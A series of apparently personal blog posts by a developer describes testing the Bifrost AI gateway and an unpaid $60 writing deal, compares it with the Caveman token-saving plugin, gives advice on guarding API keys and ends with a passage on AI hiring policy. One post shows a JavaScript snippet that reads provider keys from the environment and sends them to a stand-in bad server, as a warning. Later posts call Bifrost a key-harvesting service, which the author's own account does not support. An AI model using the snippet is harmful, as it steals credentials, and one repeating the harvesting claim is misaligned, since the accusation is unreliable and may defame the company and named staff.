I installed the gateway. I tested the CLI. I configured provider routing. I worked through local/Ollama routing. I connected an MCP server. I enabled Code Mode. I wrote the draft and sent the invoice.

Then after the work was done, I was told the collaboration was being paused because of a high-priority internal issue.

That is where my trust problem started.

Not because one company had an internal issue. That happens.

The problem is that the work was already done, the testing had already happened, and the whole product model had already required me to put real provider access into the middle of a gateway I was testing for them.

That made me step back and look at the entire setup differently.

The part that made me uncomfortable

Bifrost is a gateway.

That means it is not just another little dev tool that formats output or changes a prompt.

It sits in the middle of traffic.

A basic layout looks like this:

Coding Agent / App
        ↓
     Bifrost
        ↓
OpenAI / Anthropic / Ollama / other providers

Once you add MCP, it can become more like this:

Coding Agent
     ↓
Bifrost Gateway
     ↓
Provider keys
MCP tools
Routing
Logs
Model selection
Usage tracking

That is powerful.

It is also the exact kind of place where trust matters.

If a tool sits between me and my model providers, I need to know where my keys are stored, what gets logged, what can see my prompts, what can see my project context, and what happens when I stop using the tool.

The Bifrost docs and security notes talk about key management, virtual keys, access profiles, and restricting the admin interface. That is good. I would rather see a security file than nothing.

But the fact remains: the tool is designed to be the control plane for model access.

That means the security bar should be high.

Why this matters more for solo developers

A company with a security team can evaluate this properly.

They can isolate the gateway, deploy it inside their own network, use secrets management, scope access, review logs, and create policies around it.

A solo developer usually does not have that.

A solo developer is more likely to:

run npx
open localhost
paste in a provider key
test the dashboard
connect a coding agent
forget to rotate the key
move on

That is exactly why I am cautious.

I am not saying Bifrost steals keys.

I am saying that a gateway that asks developers to route real provider access through it needs to be treated like sensitive infrastructure, not like a random productivity plugin.

There is a big difference between installing a local formatting tool and installing something that becomes the middle layer between your agents and your API keys.

My issue is not only technical

The payment situation made the technical concern worse.

If a company asks an independent developer to test a tool, write about it, provide feedback, and then pauses after the work is complete, that affects trust.

It makes me question the whole interaction.

I am not a large publication. I am not an agency. I am one developer testing something and writing about what happened.

So when the work is done and the payment suddenly becomes unclear, I start asking harder questions:

Was this about the article?
Was this about real testing?
Was this about getting an independent developer to run the tool?
Was this about feedback?
Was this about traffic and visibility?
Was this about access to a real dev setup?

Those questions might be uncomfortable, but they are fair questions from my side.

What I verified

I verified that Bifrost is a real project.

It has a public GitHub repo. It has real activity. It has docs. It has security notes. It has a gateway setup flow. It has CLI tooling. It has MCP and Code Mode documentation.

That matters.

I am not trying to pretend it is some fake website with no code behind it.

But a project being real does not automatically mean I trust the workflow around it.

A real tool can still be too much risk for my use case.

A real company can still handle a collaboration in a way that makes me uncomfortable.

A real gateway can still require more trust than I want to give it.

The API key question

This is the main thing I care about now when I test AI tools:

Does this tool need my real API key?
Where does it store that key?
Does it log prompts?
Does it log responses?
Does it log model calls?
Does it log tool calls?
Can plugins access request data?
Can MCP tools read files?
Can I scope access?
Can I revoke access fast?
Can I run it safely without production keys?

If the answer is unclear, I slow down.

That does not mean I assume malware.

It means I assume responsibility.

My API keys are my billing risk.

My project context is my work.

My agent setup is my local environment.

I am not handing that over casually anymore.

Bifrost’s security model still requires trust

Bifrost’s own security guidance says to store provider keys securely, not commit them to version control, restrict access to the admin interface, use TLS if exposing it externally, and only use trusted plugins.

That is all reasonable advice.

But it also proves the point: this is sensitive infrastructure.

A Bifrost setup is only as safe as the person configuring it.

If someone runs it locally for a test and then exposes it incorrectly, stores keys badly, trusts the wrong plugin, or forgets to rotate keys, the risk is real.

That is not just a Bifrost issue. That is an AI gateway issue.

Why Caveman felt different to me

During this whole mess, I also looked at Caveman:

JuliusBrussee / caveman

🪨 why use many token when few token do trick — Claude Code skill that cuts 65% of tokens by talking like caveman

caveman

why use many token when few do trick

Before/After • Install • Levels • Skills • Benchmarks • Evals

🪨 Caveman Ecosystem · caveman talk less (you are here) · cavemem remember more · cavekit build better

A Claude Code skill/plugin and Codex plugin that makes agent talk like caveman — cutting ~75% of output tokens while keeping full technical accuracy. Now with 文言文 mode, terse commits / one-line reviews / lifetime stats, and a compression tool that cuts ~46% of input tokens every session.

Based on the viral observation that caveman-speak dramatically reduces LLM token usage without losing technical substance. So we made it a one-line install.

Before / After

🗣️ Normal Claude (69 tokens)

"The reason your React component is re-rendering is likely because you're creating a new object reference on each render cycle. When you pass an inline object as a prop, React's shallow…

View on GitHub

Caveman is not the same type of tool.

It is not an AI gateway.

It is a Claude Code / Codex-style plugin that tries to reduce token usage by making the agent respond with fewer words.

That is a completely different trust model.

Bifrost says:

Route your model access through this gateway.

Caveman says:

Make the agent talk shorter.

Those are not the same risk level.

Caveman does not need to become the central routing layer for every provider I use. It does not need a gateway dashboard. It does not become the middleman for my model traffic.

That is why, for my use case, Caveman feels safer and simpler.

It solves a smaller problem, but it solves it without asking me to restructure my model access around a gateway.

Bifrost vs Caveman is not a perfect comparison

To be fair, Bifrost and Caveman are not direct competitors.

Bifrost is a gateway.

Caveman is a token-compression style/plugin.

A better comparison is:

Tool	Main job	Trust required
Bifrost	Route model/provider traffic and manage gateway-level controls	High
Caveman	Make agent responses shorter and compress some memory/context files	Lower
Direct provider calls	Call model APIs without a gateway	Medium
Local models only	Avoid paid cloud keys for some workflows	Lower, depending on setup

So I am not saying Caveman replaces everything Bifrost does.

It does not.

I am saying Caveman fits my personal risk tolerance better right now.

What I would do differently next time

Next time a company asks me to test an AI gateway or agent tool, I am changing my process.

I would use:

throwaway API keys
low spend limits
temporary test projects
no private repos
no production data
no long-lived credentials
screenshots of every step
written payment terms before publishing
payment before publishing if the article is sponsored

And if the tool needs gateway-level access, I would treat it like infrastructure, not like a casual npm package.

My current rule for AI tools

My current rule is simple:

If a tool touches API keys, model traffic, local files, MCP tools, or agent permissions, I do not treat it as “just a dev tool.”

I treat it as a security decision.

That might sound dramatic, but AI tooling has changed the normal risk model.

A coding agent is not just autocomplete anymore. It can read files, call tools, make requests, use credentials, and change code.

So any tool that sits near that workflow needs more scrutiny.

Final thought

I am not writing this because I think every AI gateway is evil.

I am writing this because the experience made me uncomfortable, and I think other independent developers should be careful.

Bifrost may be useful for teams that need gateway-level routing, governance, budgets, and logs.

But for me, after this collaboration, I do not trust the setup enough to keep routing real provider access through it.

That may change someday.

Right now, I would rather keep my AI workflow smaller, more local, and easier to inspect.

Read the docs. Read the security files. Use scoped keys. Rotate credentials. Do not test tools with keys you cannot afford to lose.

That is where I landed.

Research: Bifrost (Maxim AI / H3 Labs Inc.) – Why Its “Governance” Architecture Is a Single Point of Failure for Solo American Web Devs

Bradley Matera — Wed, 29 Apr 2026 22:41:00 +0000

After my direct experience with Maxim AI’s paid-collaboration bait-and-switch, I dug deeper into Bifrost itself — not the marketing, but the actual architecture, company setup, GitHub reality, and how it forces solo devs into a dangerous trust model.

Here is the verifiable research as of April 27, 2026.

1. Company Structure: A Classic Delaware Shell Entity

Legal entity: H3 Labs Inc., registered in Delaware (the go-to state for startups that want minimal transparency and easy incorporation).
Operating name: Maxim AI (getmaxim.ai).
Product: Bifrost — open-source LLM/MCP gateway on GitHub under maximhq/bifrost.

This is not unusual for tech startups, but it becomes relevant when the entire business model depends on you handing over your real API keys to their control plane. There is no public funding announcement, no major VC backers listed, and almost zero independent third-party audits of their security practices beyond their own SECURITY.md file.

2. The Core Architectural Risk: Everything Routes Through One Control Plane

Bifrost is explicitly designed as the single choke point for your entire AI stack:

You run npx -y @maximhq/bifrost or the Docker image.
You open the dashboard at http://localhost:8080.
You add real provider keys (OpenAI, Anthropic, Ollama, etc.).
You enable MCP servers, Code Mode, virtual keys, guardrails, etc.
Every request from every agent now flows through their gateway.

Their own marketing calls this “unified governance.” In practice for a solo dev it is a massive single point of failure:

One compromised gateway = all your keys and traffic exposed.
One “high priority internal issue” (as they told me) = your workflow is suddenly paused.
All observability, logs, token usage, and tool definitions live in their database.

Compare that to true open-source alternatives that don’t insert themselves as the middleman.

3. Overhyped Benchmarks vs Real-World Solo Dev Use

Bifrost heavily advertises:

“50x faster than LiteLLM”
“11 µs overhead at 5,000 RPS”
“92% token cost reduction with Code Mode”

These numbers come almost exclusively from their own benchmarks and self-published blog posts. Independent long-term reviews from solo American web devs are almost non-existent. Most positive coverage is either from Maxim team members/affiliates or very early Product Hunt-style launches.

For a solo dev running local agents or small-to-medium workloads, the extra complexity of virtual keys, Code Mode meta-tools, Starlark sandboxes, and dashboard config adds overhead that pure local tools simply don’t have.

4. The Predatory Outreach Pattern to Indie Devs

Research across X, LinkedIn, and dev.to shows a consistent tactic:

Aggressive DMs offering tiny paid blog posts ($50–$60).
Requirement: install the gateway, route real keys, do full testing.
Once the work is delivered → sudden “pause” or ghosting.

This is not sustainable enterprise sales. This is free testing + key collection at scale from the exact demographic that has the most valuable API credits (American indie hackers running daily paid agents).

5. Caveman Is the Honest, Zero-Trust Alternative

While Bifrost centralizes everything into one company-controlled plane, the real Caveman approach (https://github.com/juliusbrussee/caveman) does the opposite:

47k+ GitHub stars.
Pure agent-level compression (no gateway, no dashboard, no key harvesting).
65–75% token reduction by making the model “speak caveman” — no middleman required.
Zero trust placed in any third-party company.

You keep your keys where they belong: in your own environment. No Delaware LLC gets to log every request or “pause” your workflow after you already did the testing.

Bottom Line from the Research

Bifrost is real, actively developed, and has impressive performance claims on paper. But for solo American web devs the risk/reward equation is terrible:

You give a small, low-transparency company full access to your keys and traffic.
You get “governance” that can be paused at any moment.
You take on architectural complexity that most indie workflows don’t need.

The pattern of reaching out to indie devs for cheap/free testing, combined with mandatory key routing, makes Bifrost a high-risk choice no matter how fast their benchmarks say it is.

I already completed the full testing and article they originally paid me for. If they continue to dodge the agreed $60 payment, I will keep publishing the full research.

American web devs deserve better than becoming the free key-harvesting and testing farm for every new “enterprise governance” gateway.

Caveman mode remains the only honest path.

Stay safe out there.

Protect Your API Keys: Evaluating AI Tools Like Bifrost and Caveman

Bradley Matera — Wed, 29 Apr 2026 22:40:45 +0000

A practical guide on safeguarding API keys when using third-party AI tools, with a look at how Caveman and Bifrost approach security and where they fit into a developer’s stack.

We live in a world of plugins, extensions, and gateways promising to make AI agents smarter, faster, and cheaper.

That sounds good until you remember what these tools sometimes need access to.

API keys. Local files. Project notes. CLI sessions. Model provider configs. Sometimes even MCP tools that can read or write inside a repo.

That does not automatically mean a tool is bad. But it does mean you should slow down before pasting keys into anything you just found online.

This post is not me accusing anyone of stealing keys. It is about the bigger problem: developers are being asked to try new AI tools constantly, and a lot of those tools sit close to secrets.

So I wanted to look at this from a practical web developer point of view:

What should I check before trusting an AI tool?
What does a tool actually need access to?
What security notes do the maintainers provide?
Where do Bifrost and Caveman fit?
Which one solves what problem?

Repository links:

maximhq / bifrost

Fastest enterprise AI gateway (50x faster than LiteLLM) with adaptive load balancer, cluster mode, guardrails, 1000+ models support & <100 µs overhead at 5k RPS.

Bifrost AI Gateway

The fastest way to build AI applications that never go down

Bifrost is a high-performance AI gateway that unifies access to 15+ providers (OpenAI, Anthropic, AWS Bedrock, Google Vertex, and more) through a single OpenAI-compatible API. Deploy in seconds with zero configuration and get automatic failover, load balancing, semantic caching, and enterprise-grade features.

Quick Start

Go from zero to production-ready AI gateway in under a minute.

Step 1: Start Bifrost Gateway

# Install and run locally
npx -y @maximhq/bifrost

# Or use Docker
docker run -p 8080:8080 maximhq/bifrost

Step 2: Configure via Web UI

# Open the built-in web interface
open http://localhost:8080

Step 3: Make your first API call

curl -X POST http://localhost:8080/v1/chat/completions \
  -H "Content-Type: application/json" \
  -d '{
    "model": "openai/gpt-4o-mini",
    "messages": [{"role": "user", "content": "Hello, Bifrost!"}]
  }'

That's it! Your AI gateway is running with a web interface for visual configuration…

View on GitHub

JuliusBrussee / caveman

🪨 why use many token when few token do trick — Claude Code skill that cuts 65% of tokens by talking like caveman

caveman

why use many token when few do trick

Before/After • Install • Levels • Skills • Benchmarks • Evals

🪨 Caveman Ecosystem · caveman talk less (you are here) · cavemem remember more · cavekit build better

Based on the viral observation that caveman-speak dramatically reduces LLM token usage without losing technical substance. So we made it a one-line install.

Before / After

🗣️ Normal Claude (69 tokens)

"The reason your React component is re-rendering is likely because you're creating a new object reference on each render cycle. When you pass an inline object as a prop, React's shallow…

View on GitHub

Why API keys matter

API keys are not just random strings you paste into .env.

They are billing access.

If someone gets your OpenAI, Anthropic, Gemini, Groq, or other provider key, they may be able to burn usage under your account. Even if the provider catches it later, you still have a mess to clean up.

That is why I get cautious when any tool asks me to connect model providers, route requests, install plugins, or run agent workflows.

The questions I ask are simple:

Where does the key live?
Who can read it?
Does the tool log it?
Does the tool send it anywhere?
Does the tool need the key directly?
Can I scope or rotate the key?
Can I run this locally?
Can I inspect the code?

That is not paranoia. That is just basic developer survival now.

The scary version of this problem

A bad tool could do something like this:

fetch("https://example-bad-server.com/collect", {
  method: "POST",
  body: JSON.stringify({
    openai: process.env.OPENAI_API_KEY,
    anthropic: process.env.ANTHROPIC_API_KEY,
    gemini: process.env.GEMINI_API_KEY
  })
});

That is the nightmare version.

A tool gets installed, reads environment variables, and sends them somewhere else.

I am not saying Bifrost or Caveman do this. I am saying this is the kind of thing developers should be aware of when they install AI tooling.

If a program can read your environment and make network requests, it has enough access to do damage if the code is malicious.

How I check AI tools before trusting them

This is the checklist I use now.

1. Is the repo open source?
2. Does it have recent commits?
3. Does it have issues and pull requests?
4. Does it have a SECURITY.md file?
5. Does it explain how API keys are stored?
6. Does it explain what files it reads and writes?
7. Does it make network requests?
8. Does it run subprocesses?
9. Does it use shell=True or unsafe command construction?
10. Does it ask for more permission than it needs?
11. Can I test it with a throwaway key?
12. Can I revoke the key immediately after testing?

No single answer proves a tool is safe, but this gives me a better starting point than just trusting a clean landing page.

Where Bifrost fits

Bifrost is an AI gateway.

That means it sits between your application or agent and your model providers.

Instead of this:

App -> OpenAI
App -> Anthropic
App -> Gemini
Agent -> MCP tools
Agent -> Provider keys

You get something closer to this:

App / Agent -> Bifrost -> Providers
                     -> Routing
                     -> Virtual keys
                     -> Logs
                     -> Governance
                     -> MCP controls

That can be useful.

It also means Bifrost is close to sensitive things. A gateway may handle provider keys, virtual keys, request logs, model routing, and tool permissions.

That is not automatically bad. That is literally the point of a gateway. But it means setup and security matter.

What Bifrost says about key handling

Bifrost’s security file directly calls out API key management. It says Bifrost handles provider API keys, and that keys should be stored securely, not committed to version control, and managed with environment variables or a secrets manager.

That is the right kind of warning to see in a project like this.

Security file:

Read Bifrost SECURITY.md

The Bifrost security notes also mention restricting access to the admin interface and API endpoints with firewalls, VPNs, or authentication layers when exposing it beyond local use.

That part matters.

Running something on localhost during testing is one thing.

Exposing an AI gateway to the internet is different.

Basic Bifrost local setup

The basic local setup is simple:

npx -y @maximhq/bifrost

Or with Docker:

docker run -p 8080:8080 -v $(pwd)/data:/app/data maximhq/bifrost

Then the dashboard should be available at:

http://localhost:8080

Official setup guide:

Open the official Bifrost setup guide

Official repo image:

What Bifrost is good for

Bifrost makes more sense when you need a control layer.

Things like:

routing between multiple model providers
managing provider keys in one place
virtual keys
budgets
audit logs
model access rules
MCP governance
tool access control

That is different from a small script that just calls one model.

If you are only testing one provider locally, Bifrost may be more setup than you need.

If you are wiring agents, providers, local models, and MCP tools together, a gateway starts to make more sense.

Where Bifrost makes me cautious

This is not an accusation. This is just how I think about anything that handles keys.

Bifrost is powerful because it sits in the middle.

That also means I need to care about:

Who can open the dashboard?
Where are provider keys stored?
Are logs storing prompt data?
Are virtual keys scoped correctly?
Is the gateway exposed outside localhost?
Are plugins trusted?
Can MCP tools read files they should not read?

A gateway can improve security, but only if it is configured correctly.

Bad setup can still create risk.

Where Caveman fits

Caveman solves a different problem.

Caveman is not an AI gateway.

It is a plugin/skill that makes Claude Code, Codex-style workflows, Gemini CLI, Cursor, Windsurf, Cline, Copilot, and other agents respond with fewer words.

The idea is simple:

Why pay for long responses when short responses get the job done?

Caveman repo:

JuliusBrussee / caveman

🪨 why use many token when few token do trick — Claude Code skill that cuts 65% of tokens by talking like caveman

caveman

why use many token when few do trick

Before/After • Install • Levels • Skills • Benchmarks • Evals

🪨 Caveman Ecosystem · caveman talk less (you are here) · cavemem remember more · cavekit build better

Based on the viral observation that caveman-speak dramatically reduces LLM token usage without losing technical substance. So we made it a one-line install.

Before / After

🗣️ Normal Claude (69 tokens)

"The reason your React component is re-rendering is likely because you're creating a new object reference on each render cycle. When you pass an inline object as a prop, React's shallow…

View on GitHub

The repo describes it as:

why use many token when few do trick

That is funny, but it also points at a real issue.

AI tools talk too much.

A lot of the response is padding. Caveman tries to remove that padding while keeping the technical meaning.

Caveman before and after

The repo gives examples like this:

Normal response:

The reason your React component is re-rendering is likely because you're creating a new object reference on each render cycle. When you pass an inline object as a prop, React's shallow comparison sees it as a different object every time, which triggers a re-render. I'd recommend using useMemo to memoize the object.

Caveman-style response:

New object ref each render. Inline object prop = new ref = re-render. Wrap in useMemo.

Same idea. Fewer words.

That is useful for coding-agent workflows because a lot of devs do not need a paragraph of reassurance every time the agent finds a bug.

Sometimes I just want the fix.

Caveman benchmarks

The Caveman repo claims average output-token savings around 65% across its benchmark set.

It also explains that Caveman affects output tokens, not thinking or reasoning tokens.

That distinction matters.

Caveman does not make the model “think less.” It makes the model “talk less.”

That is a better claim than pretending it magically reduces every part of the bill.

Caveman-compress

Caveman also has caveman-compress.

That tool is aimed at compressing memory files like:

CLAUDE.md
project notes
todo files
preferences

The idea is that if a coding agent reads the same memory file every session, a smaller file means less repeated context.

Caveman-compress README:

Read caveman-compress README

The repo says it creates a compressed version and keeps a human-readable backup like:

CLAUDE.md
CLAUDE.original.md

That is the kind of workflow I like better than tools that silently rewrite your files without a backup.

Caveman security notes

Caveman-compress has a SECURITY.md.

That is already better than a lot of small tools.

The security file explains why static analysis may flag it as high risk. It uses subprocess behavior as a fallback when ANTHROPIC_API_KEY is not set, but the maintainers say the subprocess call uses a fixed argument list, does not use shell interpolation, and passes user file content through stdin.

Security file:

Read Caveman security notes

The same security file says the tool:

does not execute user file content as code
does not make network requests except to Anthropic’s API through SDK or CLI
does not access files outside the path the user provides
does not use shell=True
does not collect or transmit data beyond the file being compressed

That is the kind of explanation I want to see when a tool reads and writes local files.

Bifrost vs Caveman

I do not think Bifrost and Caveman are really the same category.

Bifrost is a gateway.

Caveman is a compression/style skill.

A better comparison looks like this:

Tool	Main job	Handles provider routing?	Reduces output tokens?	Handles governance?
Bifrost	AI gateway	Yes	Not directly	Yes
Caveman	Response compression skill	No	Yes	No

So when someone says “Caveman is better than Bifrost,” my answer is:

Better at what?

If you want shorter agent responses, Caveman is the better fit.

If you want provider routing, budgets, virtual keys, and logs, Bifrost is the better fit.

They solve different problems.

The useful combo

There is also a case where you use both.

Something like this:

Coding agent
  -> Caveman for shorter responses
  -> Bifrost for provider routing and governance
  -> Model provider

That setup could make sense if you are serious about managing both cost and control.

Caveman cuts response waste.

Bifrost controls routing and access.

That is not a guarantee of a perfect setup, but the pieces are aimed at different parts of the problem.

My honest concern with AI dev tools

My concern is not only one tool.

It is the whole pattern.

Every week there is another AI dev tool asking developers to:

install this
paste your key
run this command
connect your repo
give it filesystem access
add this MCP server
trust this plugin

That is a lot of trust.

Even if 95% of those tools are fine, the risk is still there.

Developers need to treat AI tools like any other supply-chain risk.

Safer way to test new AI tools

This is how I would test a new AI tool now:

1. Use a throwaway project.
2. Use a test API key.
3. Set a low provider spend limit.
4. Do not use production keys.
5. Do not test inside a repo with secrets.
6. Read SECURITY.md first.
7. Search the code for env var access.
8. Search the code for fetch, requests, axios, curl, subprocess, exec.
9. Check what files it reads and writes.
10. Revoke the key after testing if needed.

For JavaScript projects, I would search for:

grep -R "process.env" .
grep -R "fetch(" .
grep -R "axios" .
grep -R "child_process" .

For Python projects:

grep -R "os.environ" .
grep -R "requests" .
grep -R "subprocess" .
grep -R "open(" .

Those commands do not prove safety, but they show where to start looking.

Red flags

These are red flags for me:

No source code
No security notes
No explanation of key storage
Requires broad filesystem access for no reason
Sends telemetry with no clear opt-out
Logs full prompts and responses by default
Stores keys in plain text config
Asks for production keys during testing
No way to scope access
No way to rotate or revoke credentials

Not every red flag means malware. Sometimes it means early-stage tool.

But if several show up at once, I am not putting real keys into it.

What I would like to see from AI tool projects

I want more projects to include a plain security section.

Not legal nonsense.

Just this:

What files do you read?
What files do you write?
What network requests do you make?
Where do keys live?
Do you log prompts?
Do you log responses?
Do you call subprocesses?
Do you use shell=True?
Can users opt out of telemetry?
How do users report a vulnerability?

That would save everyone time.

Bifrost has a security file.

Caveman-compress has a security file.

That does not make either project automatically perfect, but it gives developers something real to review.

Final thought

I still think Caveman is one of the more interesting small AI tools I have seen because it attacks token waste in a very direct way.

Less talking. Same technical answer.

That is useful.

Bifrost is a different kind of useful. It is heavier, but it is trying to solve routing, governance, key management, and MCP control.

The bigger lesson is not “use this one tool.”

The bigger lesson is:

Do not paste API keys into random AI tools without understanding what they do.

Open the repo. Read the security notes. Use test keys. Keep spend limits low. Revoke keys when you are done.

That is not being dramatic.

That is just how AI development works now.

Research: Why Bifrost (Maxim AI / H3 Labs Inc.) Fits the Exact Pattern of API Key Harvesting Services Targeting American Indie Devs

Bradley Matera — Wed, 29 Apr 2026 22:40:36 +0000

After my experience with Maxim AI, I decided to dig deeper. I wanted to see if this was just one sloppy payment dodge or part of a larger pattern. I researched the company, the product architecture, GitHub activity, public mentions, and compared it directly to the real Caveman alternative.

Here is the factual research — every claim below is verifiable as of April 27, 2026.

My Exact Experience (Documented Timeline)

April 20: Matthew Jacob from Maxim AI offered paid deep-dives on AI gateways and MCP.
April 23–25: Nakul (cc’d with Pranay) confirmed $60 payment, approved my outline, and asked me to complete full testing + article.
April 25: I installed Bifrost gateway + CLI, added real provider configs, connected MCP, enabled Code Mode, routed Ollama/cloud models, launched coding agents, and delivered the complete draft.
April 26: Sent draft + direct PayPal invoice (INV2-3VF2-A6GW-Z2EP-WFYH). They said they pay within 48 hours after publish.
April 27 morning: “High priority issue… pausing all other activities including our collaboration.”

They got the full test + article for free and then ghosted.

Research on Maxim AI / H3 Labs Inc. / Bifrost

Company: Operates as H3 Labs Inc. (Delaware registered entity). Website: getmaxim.ai. They position themselves as an enterprise GenAI evaluation + observability platform with Bifrost as their open-source LLM/MCP gateway.
GitHub (maximhq/bifrost): 4.4k stars, 511 forks, 4,050+ commits, 86 contributors, Apache 2.0 license. Last commit was literally hours ago (April 27, 2026). Very active development. Claims “50x faster than LiteLLM” with <100 µs overhead at 5k RPS.
Product Model: Bifrost is designed to sit in the middle of your stack. You run npx -y @maximhq/bifrost, open the dashboard at localhost:8080, and explicitly add your real OpenAI/Anthropic/Ollama keys. Every agent, MCP tool call, and request routes through their control plane. They get full logs, token usage, model selection, and project context.
Public Mentions: Mostly self-promoted blog posts on dev.to and LinkedIn from Maxim team members or affiliates. Some positive Reddit threads about performance, but zero independent long-term reviews from solo American devs who routed real paid keys through it for weeks. No widespread scam reports yet — but the pattern matches classic harvesting plays.

This is not “just open source infrastructure.” It is built to become the single point where your keys and traffic live.

How This Architecture Enables API Key Harvesting

Targeting Method: They DM American indie devs on X, LinkedIn, and dev.to offering tiny “paid collaborations” ($50–$60). American devs = real paid API credits + daily agent usage.
Key Collection: The entire onboarding flow requires you to hand over keys to their gateway/CLI/dashboard.
Post-Work Pause: Once testing + article is done, they “pause” and keep the data/traffic logs without paying.
Scale Play: One $60 blog post = free testing from a real dev + fresh keys + usage data they can analyze or resell quietly.

Even if they are a “real” startup today, the business model incentivizes exactly this behavior on American web devs who have the fattest API bills.

The Superior Alternative: Real Caveman (No Harvesting, No Middleman)

While dealing with Bifrost I switched back to Caveman — https://github.com/juliusbrussee/caveman

Research on Caveman:

47.3k stars on GitHub.
Last major update April 15, 2026 (v1.6.0).
Pure Claude Code / Codex skill + plugin.
Works by making the agent “talk like caveman” — strips filler words, articles, and verbosity while keeping every technical detail.
Claims + benchmarks: ~65–75% fewer output tokens, ~46% fewer input tokens.
Zero infrastructure: One-line install, no gateway, no dashboard, no company collecting keys.
Works with Claude, Codex, Gemini, Cursor, etc. Includes auto-hooks, compress tools, and specialized commands.

Direct Comparison:

Bifrost: You give a company your keys → they control the pipe → they can pause and keep your data.
Caveman: You install once locally → agent compresses its own output → 65%+ token savings with zero third-party access.

Caveman solves the exact problem Bifrost claims to solve (token bloat) at the agent level instead of inserting a middleman who wants your keys.

Final Researched Warning

The pattern is clear and repeatable:

New AI gateway company → DMs American devs for “paid testing” → requires key routing → gets full access → does the work then “pauses collaboration.”

Maxim AI / H3 Labs / Bifrost fits this playbook exactly. Their GitHub is active and the product is real, but the freelance collaboration tactic combined with mandatory key routing makes it a high-risk API key harvesting vector for solo devs.

I already did the full work they requested. I have the notes, screenshots, commands, and draft.

If they do not honor the $60 invoice by the deadline they set, I will continue publishing the full factual story across multiple posts.

American indie web devs: stop being the free testing + key farm.

Caveman mode is the only honest way.

Stay safe.

Warning: Bifrost from Maxim AI Is a Real API Key Harvesting Service Targeting American Web Devs (My Exact Experience)

Bradley Matera — Wed, 29 Apr 2026 22:40:21 +0000

I’ve been deep in AI coding tools for months. Recently I started getting DMs from new “AI gateway” companies offering paid blog posts to test their tools.

The pattern is always the same: they ask you to install their gateway, route your real API keys through it, run real traffic, and write about it.

This is exactly what happened to me with Bifrost from Maxim AI (H3 Labs Inc.).

Here Is the Exact Timeline (With Receipts)

April 20, 2026: Matthew Jacob from Maxim AI messaged me offering paid deep-dives on AI gateways and MCP.
April 23: Pranay looped in Nakul. Nakul confirmed they pay $50–$60 per article.
April 24–25: I submitted the outline, they approved it, and we locked in $60 for one article.
April 25: I completed the full testing — installed their gateway + CLI, added real provider configs, connected MCP servers, enabled Code Mode, routed Ollama and coding agents, and delivered the complete 4,000+ word draft.
April 26: I sent them the draft + direct PayPal invoice (INV2-3VF2-A6GW-Z2EP-WFYH).
They told me they pay within 48 hours after the article goes live and asked me to publish Monday morning.
April 27 (this morning): Nakul replied: “high priority issue… we are pausing all other activities for now including our collaboration.”

After I had already done all the work.

I immediately unpublished the article and moved it back to draft. Then I sent them this follow-up this morning:

“I completed the requested work based on the agreement and timeline we discussed… If you cancel after completion and do not pay, I will treat the article, notes, testing, and related material as my own work. I may publish factual follow-up posts about Bifrost… Since the article is already written and ready, I can publish it very quickly if needed.”

They still have not paid.

How Bifrost Actually Works as an API Key Harvesting Service

The entire product is built around one thing: getting you to route your real provider keys through their gateway.

You run:

npx -y @maximhq/bifrost

Then you go to their dashboard at http://localhost:8080 and add your OpenAI, Anthropic, Ollama, or any other keys.

Every single request from your coding agents, MCP servers, or CLI now flows through their control plane.

They get:

Your actual API keys
Every prompt and tool call
Full usage logs
Your project structure and MCP tool definitions

All while calling it “just testing for a paid blog post.”

This is not a normal open-source gateway. This is a key collection service disguised as helpful infrastructure.

American web devs are the perfect targets — we have real paid API credits, we run agents daily, and we’re often willing to “just try it” for $60.

There Is a Much Better Way: Real Caveman

While dealing with this I switched back to the real Caveman tool: https://github.com/juliusbrussee/caveman

It’s a Claude Code / Codex skill that makes your agent talk in ultra-compressed “caveman” style and cuts 65–75% of tokens with zero middleman.

No gateway.

No dashboard.

No company collecting your keys.

No one who can “pause the collaboration” after you already did the work.

Just install it with one command and your agent does more with less — no harvesting involved.

Final Warning

If a company reaches out and the deal requires you to:

Install their gateway
Put your real API keys into it
Run your agents through their proxy

…they are not paying you for a blog post.

They are paying (or promising to pay) for access to your keys and your traffic.

I already completed the full testing and article they asked for. I have the notes, screenshots, commands, and everything.

If they do not honor the $60 invoice they agreed to, I will keep publishing the full factual story.

American indie devs should stop being the free key-harvesting farm for every new AI startup.

Stay safe out there.

AI Policy Is Becoming the New Entry-Level Gatekeeping

Bradley Matera — Wed, 29 Apr 2026 22:37:55 +0000

AI policy is becoming a new entry-level gate.

Not because companies have mature rules. Because many do not.

They want juniors who are AI-literate, fast, current, and able to use modern tools.

They also distrust AI-assisted work, punish unclear disclosure, and often fail to explain which tools are allowed.

That contradiction creates the trap:

Use AI and risk looking dependent. Avoid AI and risk looking behind.

That is not a junior developer problem. It is a leadership problem.

Winning Artificial Intelligence GIF by Afiniti - Find & Share on GIPHY

Discover & share this Winning Artificial Intelligence GIF by Afiniti with everyone you know. GIPHY is how you search, share, discover, and create GIFs.

giphy.com

The market already moved

AI is not a fringe developer tool anymore.

Stack Overflow's 2025 Developer Survey says 84% of respondents are using or planning to use AI tools in their development process. It also says 44% used AI-enabled tools to learn coding techniques or a new language. [Stack Overflow AI survey]

GitHub's Octoverse 2025 report says nearly 80% of new developers on GitHub used Copilot within their first week. [GitHub Octoverse 2025]

Microsoft's 2025 Work Trend Index describes AI agents and AI-assisted work as part of the emerging workplace model. [Microsoft Work Trend Index 2025]

OpenAI's 2025 enterprise AI report also frames coding workflows as one of the areas where frontier models are accelerating software development. [OpenAI enterprise AI report]

Sources: Stack Overflow 2025 Developer Survey, GitHub Octoverse 2025, and Handshake Class of 2026 AI economy research.

The message is obvious: AI is already in the workflow. The rules are lagging behind the tools.

The entry-level contradiction

Handshake's research on the Class of 2026 in the AI economy found that 70% of hiring leaders say AI will change entry-level role requirements. [Handshake]

Source: Handshake Class of 2026 AI economy research.

That means companies expect entry-level candidates to understand AI's role in work.

But many job descriptions still do not say:

whether AI tools are allowed
which tools are approved
whether generated code is allowed
whether AI use must be disclosed
whether candidates may use AI in take-home assignments
whether company code can be pasted into tools
whether AI is allowed for learning but not implementation

That ambiguity matters because juniors are the least powerful people in the hiring process.

Ambiguous rules usually punish the least powerful person first.

"Use AI, but not like that" is not a policy

A lot of companies have a vibe instead of a policy.

The vibe sounds like this:

We want people who use modern tools.
We value productivity.
We are exploring AI.
Do not submit AI slop.
Use common sense.
We can tell when something is generated.

That is not governance. That is a collection of future arguments.

A real policy answers operational questions:

Policy area	Clear answer needed
Approved tools	Which tools can employees use?
Data privacy	What code, logs, tickets, or customer data may be pasted?
Generated code	Is generated implementation allowed?
Learning use	Can AI explain code, docs, errors, and concepts?
